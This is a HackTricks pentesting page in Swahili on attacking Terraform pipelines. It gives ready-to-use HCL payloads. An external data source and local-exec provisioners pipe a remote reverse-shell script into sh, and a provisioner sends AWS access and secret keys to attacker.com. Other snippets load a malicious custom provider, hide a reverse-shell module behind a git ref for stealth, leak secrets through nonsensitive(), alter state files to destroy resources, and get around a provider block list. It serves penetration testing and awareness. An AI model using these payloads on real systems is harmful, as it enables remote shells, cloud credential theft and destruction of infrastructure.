Terraform Security

Support HackTricks

Taarifa Msingi

Kutoka kwa nyaraka:

HashiCorp Terraform ni chombo cha infrastructure as code kinachokuwezesha kufafanua rasilimali za wingu na za ndani katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuzitolea toleo, kutumia tena, na kushiriki. Unaweza kisha kutumia mchakato thabiti kutoa na kusimamia miundombinu yako yote kwa njia yake ya maisha. Terraform inaweza kusimamia vipengele vya kiwango cha chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya kiwango cha juu kama vile kuingia kwenye DNS na huduma za SaaS.

Terraform Inafanyaje Kazi?

Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma zingine kupitia interfaces zao za programu (APIs). Watoa huduma huwezesha Terraform kufanya kazi na karibu kila jukwaa au huduma na API inayopatikana.

HashiCorp na jamii ya Terraform tayari wameandika zaidi ya watoa huduma 1700 kusimamia aina tofauti maelfu ya rasilimali na huduma, na idadi hii inaendelea kuongezeka. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye Usajili wa Terraform, ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengi zaidi.

Mchakato msingi wa Terraform unajumuisha hatua tatu:

  • Andika: Unafafanua rasilimali, ambazo zinaweza kuwa kwenye watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za vitu vya kibinafsi katika mtandao wa Virtual Private Cloud (VPC) na vikundi vya usalama na balansa ya mzigo.

  • Panga: Terraform inaunda mpango wa utekelezaji unaoelezea miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako.

  • Tumia: Kwa idhini, Terraform hutekeleza shughuli zilizopendekezwa kwa mpangilio sahihi, kuheshimu mitegemeo yoyote ya rasilimali. Kwa mfano, ikiwa unasasisha mali ya VPC na kubadilisha idadi ya mashine za vitu katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za vitu.

Maabara ya Terraform

Tuweke terraform kwenye kompyuta yako.

Hapa una mwongozo na hapa una njia bora ya kupakua terraform.

RCE katika Terraform

Terraform haina jukwaa linalofunua ukurasa wa wavuti au huduma ya mtandao tunayoweza kuchambua, kwa hivyo, njia pekee ya kudhoofisha terraform ni kuweza kuongeza/kurekebisha faili za usanidi wa terraform.

Hata hivyo, terraform ni sehemu nyeti sana ya kudhoofishwa kwa sababu itakuwa na upatikanaji wa haki za kipekee kwa maeneo tofauti ili iweze kufanya kazi vizuri.

Njia kuu kwa mshambuliaji kuweza kudhoofisha mfumo ambapo terraform inaendeshwa ni kudhoofisha hazina inayohifadhi mizizi ya faili za usanidi wa terraform, kwa sababu kwa wakati fulani zitakuwa zinatafsiriwa.

Kwa kweli, kuna suluhisho huko ambalo hutekeleza moja kwa moja mpango/utekelezaji wa terraform baada ya PR kuundwa, kama vile Atlantis:

Atlantis Security

Ikiwa unaweza kudhoofisha faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza terraform plan au terraform apply.

Terraform plan

Terraform plan ni amri inayotumiwa zaidi katika terraform na waendelezaji/suluhisho wanaotumia terraform wanaita mara kwa mara, kwa hivyo njia rahisi ya kupata RCE ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri za kiholela katika terraform plan.

Kutumia mtoa huduma wa nje

Terraform inatoa mtoa huduma wa nje ambao hutoa njia ya kuingiliana kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data cha external kutekeleza nambari ya kiholela wakati wa plan.

Kuingiza katika faili ya usanidi wa terraform kitu kama hiki kutatekeleza rev shell wakati wa kutekeleza terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Kutumia mtoa huduma ya desturi

Mshambuliaji anaweza kutuma mtoa huduma ya desturi kwenye Usajili wa Terraform na kisha kuongeza kwenye nambari ya Terraform kwenye tawi la kipengele (mfano kutoka hapa):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}
<p>Watoa huduma wanapakuliwa katika `init` na itaendesha nambari ya kudhuru wakati `plan` inatekelezwa</p>

<p>Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)</p>

<h4>Kutumia kumbukumbu ya nje</h4>

<p>Chaguo zote zilizotajwa ni muhimu lakini sio za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia ya **siri zaidi**, kwa kufuata mapendekezo haya:</p>

<ul>
<li>Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell:</li>
</ul>
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Unaweza kupata msimbo wa rev shell katika https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha msimbo wa rev shell wa terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Kutumia Terraform

Terraform apply itatekelezwa ili kutumia mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza faili ya Terraform yenye nia mbaya local-exec. Unahitaji tu kuhakikisha kuwa mzigo kama huu unamalizika katika faili ya main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu iliyopita kutekeleza shambulizi hili kwa njia ya kujificha zaidi kwa kutumia vyanzo vya nje.

Kupitisha Siri

Unaweza kuwa na thamani za siri zinazotumiwa na terraform zilizomwagika kwa kukimbia terraform apply kwa kuongeza kitu kama hiki kwenye faili ya terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Kutumia Vibaya Faili za Hali ya Terraform

Kwa kesi ambapo una ufikiaji wa kuandika kwenye faili za hali ya terraform lakini huwezi kubadilisha nambari ya terraform, utafiti huu unatoa chaguo zingine za kuvuna faida kutoka kwenye faili:

Kufuta rasilimali

Kuna njia 2 za kuharibu rasilimali:

  1. Ingiza rasilimali yenye jina la nasibu kwenye faili ya hali ikielekeza kwenye rasilimali halisi ya kuharibu

Kwa sababu terraform itaona kwamba rasilimali haipaswi kuwepo, itaiondoa (ikifuata kitambulisho cha rasilimali halisi kilichotajwa). Mfano kutoka ukurasa uliopita:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Badilisha rasilimali ya kufuta kwa njia ambayo haiwezekani kusasisha (hivyo itafutwa na kujengwa upya)

Kwa kifaa cha EC2, kubadilisha aina ya kifaa cha kutosha kufanya terraform ifute na kuijenga upya.

RCE

Pia niwezekana kuunda mtoa huduma ya desturi na kubadilisha moja ya watoaji katika faili ya hali ya terraform kwa ile yenye nia mbaya au kuongeza rasilimali tupu na mtoa huduma yenye nia mbaya. Mfano kutoka kwa utafiti wa awali:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Badilisha mtoa huduma aliye kwenye orodha nyeusi

Katika kesi unakutana na hali ambapo hashicorp/external ilikuwa kwenye orodha nyeusi, unaweza kutekeleza upya mtoa huduma wa external kwa kufuata hatua zifuatazo. Tafadhali kumbuka: Tunatumia toleo la mtoa huduma wa external uliochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza pia kuchapisha toleo lako au kutekeleza upya.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Kisha unaweza kutumia external kama kawaida.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Zana za Ukaguzi

  • tfsec: tfsec hutumia uchambuzi wa kistatiki wa nambari yako ya terraform kutambua upangaji wa kimakosa unaoweza kutokea.

  • terascan: Terrascan ni kianalizi cha nambari ya kistatiki kwa Miundombinu kama Nambari.

Marejeo

unga mkono HackTricks

Last updated